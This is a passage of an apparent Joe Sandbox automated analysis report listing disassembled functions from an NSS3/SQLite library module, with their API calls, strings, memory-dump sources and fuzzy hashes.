sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B3178

Strings

%s at line %d of [%.10s], xrefs: 6C5B3171
database corruption, xrefs: 6C5B316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B3022, 6C5B3156, 6C5B3162, 6C5B318A, 6C5B3196, 6C5B31A2, 6C5B31AE, 6C5B31BA, 6C5B31C6

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 69ef348a7d6d7e33856e06ba4a70f995108abb8530c97d30eb2f105be6045692
Instruction ID: 1f0ca8652e4f7d00663040ddc92f482ecc6a2a340b71be4c364ab5a8a7c8fa39
Opcode Fuzzy Hash: 69ef348a7d6d7e33856e06ba4a70f995108abb8530c97d30eb2f105be6045692
Instruction Fuzzy Hash: F0B19170E05219DBCB08CF9DCC95AEEBBB6BF48304F148429E849B7B45DB749941CBA0

Function 6C602D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C602D69

Strings

winUnmapfile1, xrefs: 6C602F55
Prl, xrefs: 6C602E74, 6C602EC5, 6C602F32, 6C602F5C
rl, xrefs: 6C602DD0
winSeekFile, xrefs: 6C602E9C
winTruncate2, xrefs: 6C602EF8
@rl, xrefs: 6C602E24
winUnmapfile2, xrefs: 6C602F7F
winTruncate1, xrefs: 6C602EBE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: __allrem
String ID: @rl$Prl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$rl
API String ID: 2933888876-1317674207
Opcode ID: 92c0cc29e51ce0f81a6ebd16b2018e82c0797c8a1dd1bb5fd9a218530ecd1cf3
Instruction ID: 4e9e73638865da297f27d06ddde55cef44e9ca4c333e60e6c7c6c86ca76969b2
Opcode Fuzzy Hash: 92c0cc29e51ce0f81a6ebd16b2018e82c0797c8a1dd1bb5fd9a218530ecd1cf3
Instruction Fuzzy Hash: 3061A371B403099FDB08CF68DD98AAA77B1FF49354F108139E915AB790DB31AD06CB94

Function 6C6069A0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C606A02
EnterCriticalSection.KERNEL32(?), ref: 6C606AA6
LeaveCriticalSection.KERNEL32(?), ref: 6C606AF9
sqlite3_free.NSS3(00000000), ref: 6C606B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6C606BA6

Strings

winDelete, xrefs: 6C606B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C606B9F
Prl, xrefs: 6C606B1F
`rl, xrefs: 6C606A53

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: Prl$`rl$delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-2003268170
Opcode ID: 9df9ddb7a6162f38468143c128f804225674d813d47e07d745525f525f3eabf4
Instruction ID: eed3291c0182604a82c52bc09f357d8f0d2bb4858cc1f7cbaa9f1255fbb60a56
Opcode Fuzzy Hash: 9df9ddb7a6162f38468143c128f804225674d813d47e07d745525f525f3eabf4
Instruction Fuzzy Hash: 03513131B002189FEF08AB66DD59ABE3775EF47324B104138E916EB680DB308945CBA6

Function 6C592400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6C5924EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6C592315), ref: 6C59254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6C592315), ref: 6C59256C

Strings

%s at line %d of [%.10s], xrefs: 6C592566
API called with NULL prepared statement, xrefs: 6C59253C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5924F4, 6C592557
bind on a busy prepared statement: [%s], xrefs: 6C5924E6
misuse, xrefs: 6C592561
API called with finalized prepared statement, xrefs: 6C592543, 6C59254D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: e540a4f8f3aca29cf151650b9b662521b3a3fddbd8dbd5b43d76207ac84572cb
Instruction ID: e35216f7807a34ad04d2712b50d54a71bcf01a8f7642aefcb6105afaa0d483cc
Opcode Fuzzy Hash: e540a4f8f3aca29cf151650b9b662521b3a3fddbd8dbd5b43d76207ac84572cb
Instruction Fuzzy Hash: 3B412171704640DBE714CF29EC98B6673B6AF81718F1849BCE8094FB41DB36E805CB91

Function 6C66A470 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C66A4A6

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

PORT_Alloc_Util.NSS3(?), ref: 6C66A4EC

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6C66A527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6C66A56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6C66A583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C66A596
free.MOZGLUE(?), ref: 6C66A5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66A5B6

Strings

^jbl, xrefs: 6C66A475

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID: ^jbl
API String ID: 3906949479-1545194797
Opcode ID: a8f7fff7ba972ea0686c202df6a71b3728059e66b661b0201428b38d7e9819e8
Instruction ID: a08272be1754d8240b27c9b1ccd43fef22398f7d4a2314911352582be316aa2f
Opcode Fuzzy Hash: a8f7fff7ba972ea0686c202df6a71b3728059e66b661b0201428b38d7e9819e8
Instruction Fuzzy Hash: FF411831A042529FDB10CF5ACC44B9ABBB1BF41308F14C468D95D5BB42E731E919C7B6

Function 6C610F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C610F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C610F84

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C62F59B,6C73890C,?), ref: 6C610FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C610FC1

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C610FDB
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C610FEF
PL_FreeArenaPool.NSS3(?), ref: 6C611001
PL_FinishArenaPool.NSS3(?), ref: 6C611009

Strings

security, xrefs: 6C610F5C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 217924bc3cc3b943d95a568073153df0856977378938a94ff6325f64ee4695c8
Instruction ID: 5f8317152c6da3ffa21ad51a1be2770dd00ae72887a4a76d38b7a034763c3e24
Opcode Fuzzy Hash: 217924bc3cc3b943d95a568073153df0856977378938a94ff6325f64ee4695c8
Instruction Fuzzy Hash: 3E2156B1904204ABEB109F29DC41EAB77B4EF8535CF008428FC5887A01F731DA15CBEA

Function 6C722AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C722AE8
strdup.MOZGLUE(00000000), ref: 6C722AFA
PR_ExitMonitor.NSS3 ref: 6C722B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6C722B1E
strdup.MOZGLUE(.;\lib), ref: 6C722B32
PR_ExitMonitor.NSS3 ref: 6C722B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C722B59

Strings

.;\lib, xrefs: 6C722B29, 6C722B31
LD_LIBRARY_PATH, xrefs: 6C722B19

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: 57e90103f3ce8794d2fe5395ab436142ba4c71ff4117aac80774a85bc86305b9
Instruction ID: 4ad4dee18ead33439cfe8311b9b8f3d101a800ef7b5ed806b48cb7f84d922f1c
Opcode Fuzzy Hash: 57e90103f3ce8794d2fe5395ab436142ba4c71ff4117aac80774a85bc86305b9
Instruction Fuzzy Hash: 7501A7B5B1022567DF117F65AD1A65636786B0235DF080034EC09D1A11FF65D928C7AB

Function 6C616DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C617D8F,6C617D8F,?,?), ref: 6C616DC8

Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C66FE08
Part of subcall function 6C66FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C66FE1D
Part of subcall function 6C66FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C66FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C617D8F,?,?), ref: 6C616DD5

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FA0,00000000,?,?,?,?,6C617D8F,?,?), ref: 6C616DF7

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C616E35

Part of subcall function 6C66FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C66FE29
Part of subcall function 6C66FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C66FE3D
Part of subcall function 6C66FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C66FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C616E4C

Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FE0,00000000), ref: 6C616E82

Part of subcall function 6C616AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C61B21D,00000000,00000000,6C61B219,?,6C616BFB,00000000,?,00000000,00000000,?,?,?,6C61B21D), ref: 6C616B01
Part of subcall function 6C616AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C616B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C616F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C616F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C738FE0,00000000), ref: 6C616F6B
PR_SetError.NSS3(FFFFE005,00000000,6C617D8F,?,?), ref: 6C616FE1

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 158ba81fef44887c13b815ff136ab28ea7aae1b2ae59781912d0157876ea38fc
Instruction ID: bb8a6dd601f13d8b7c9a9c743b365f34c35ea0463aa9b18f47f262fafe685e2e
Opcode Fuzzy Hash: 158ba81fef44887c13b815ff136ab28ea7aae1b2ae59781912d0157876ea38fc
Instruction Fuzzy Hash: AB71AF75D182469FDB00CF19CD40BAABBA5FF95349F154229E808D7B11F730EA94CB98

Function 6C650FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C651057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651085
PK11_GetAllTokens.NSS3 ref: 6C6510B1
free.MOZGLUE(?), ref: 6C651107
PR_SetError.NSS3(00000000,00000000), ref: 6C651172
free.MOZGLUE(?), ref: 6C651182
free.MOZGLUE(?), ref: 6C6511A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6511C5

Part of subcall function 6C6552C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C62EAC5,00000001), ref: 6C6552DF
Part of subcall function 6C6552C0: EnterCriticalSection.KERNEL32(?), ref: 6C6552F3
Part of subcall function 6C6552C0: PR_Unlock.NSS3(?), ref: 6C655358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6511D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6511F3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d4431d9060a009a73eef88d3fbf5871d88cd5ccb1adffbe6da95ee1b1526b375
Instruction ID: 45973fdf4e279b69c800d5c90f2efd85075263e83cfcb5dc19c6fccb1140b67c
Opcode Fuzzy Hash: d4431d9060a009a73eef88d3fbf5871d88cd5ccb1adffbe6da95ee1b1526b375
Instruction Fuzzy Hash: E661D5B0E003459BEB10DF64DC81BAEB7B4BF05348F644168EC19AB741EB31E964CB69

Function 6C654A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6C654A4B
PK11_GetInternalSlot.NSS3 ref: 6C654A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C654AC6
TlsGetValue.KERNEL32 ref: 6C654B17
EnterCriticalSection.KERNEL32(?), ref: 6C654B2B
PR_Unlock.NSS3(?), ref: 6C654B77
PK11_FreeSymKey.NSS3(?), ref: 6C654B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C654B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C654BA9
PR_SetError.NSS3(00000000,00000000), ref: 6C654BC1

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: f12af2ba472dd1d5968fb61e1ea052d224996749396d51273c0e3a7343647437
Instruction ID: da07289905f9e5ddca74c68a9455d944c669f34109c48ff7486d9129ec2f800a
Opcode Fuzzy Hash: f12af2ba472dd1d5968fb61e1ea052d224996749396d51273c0e3a7343647437
Instruction Fuzzy Hash: 665194B5E002199BDB00DF69DC40ABFB7F5EF49318F644169E809A7701E771ED208BA9

Function 6C65ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEF1
free.MOZGLUE(6C63CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63CDBB,?), ref: 6C65AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AF30

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: cba9915794a288185ca1068766c1d7015e9b5fc104eccb993219707f605f9e14
Instruction ID: 77de971ed8a70701924f4b31a110121f6faf69fe293f2608bbc41a3bec0666e1
Opcode Fuzzy Hash: cba9915794a288185ca1068766c1d7015e9b5fc104eccb993219707f605f9e14
Instruction Fuzzy Hash: 20519FB1A00602AFDB01DF25D884B66B7B4FF09319F644665E80897F12E731E8B5CBE5

Function 6C634CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C63AB7F,?,00000000,?), ref: 6C634CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C63AB7F,?,00000000,?), ref: 6C634CC8
TlsGetValue.KERNEL32(?,6C63AB7F,?,00000000,?), ref: 6C634CE0
EnterCriticalSection.KERNEL32(?,?,6C63AB7F,?,00000000,?), ref: 6C634CF4
PL_HashTableLookup.NSS3(?,?,?,6C63AB7F,?,00000000,?), ref: 6C634D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C634D10

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C634D26

